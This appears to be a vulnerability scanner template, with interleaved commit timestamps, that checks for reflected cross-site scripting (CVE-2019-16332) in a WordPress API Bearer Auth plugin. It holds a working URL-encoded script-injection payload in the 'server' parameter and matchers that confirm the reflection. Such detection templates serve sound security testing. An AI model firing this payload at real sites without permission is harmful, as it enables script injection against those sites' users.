2021-07-15 17:06:33 +00:00
id : CVE-2019-16332
info :
name : API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS)
author : daffainfo
severity : medium
2021-07-16 05:27:50 +00:00
description : In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS.
2021-08-19 13:59:12 +00:00
reference :
2021-08-01 06:10:14 +00:00
- https://plugins.trac.wordpress.org/changeset/2152730
- https://wordpress.org/plugins/api-bearer-auth/#developers
2021-07-15 17:06:33 +00:00
tags : cve,cve2019,wordpress,xss,wp-plugin
requests :
- method : GET
path :
2021-07-19 06:03:40 +00:00
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-15 17:06:33 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-07-19 06:03:40 +00:00
- "</script><script>alert(document.domain)</script>"
2021-07-15 17:06:33 +00:00
part : body
- type : word
part : header
words :
- text/html
- type : status
status :
- 200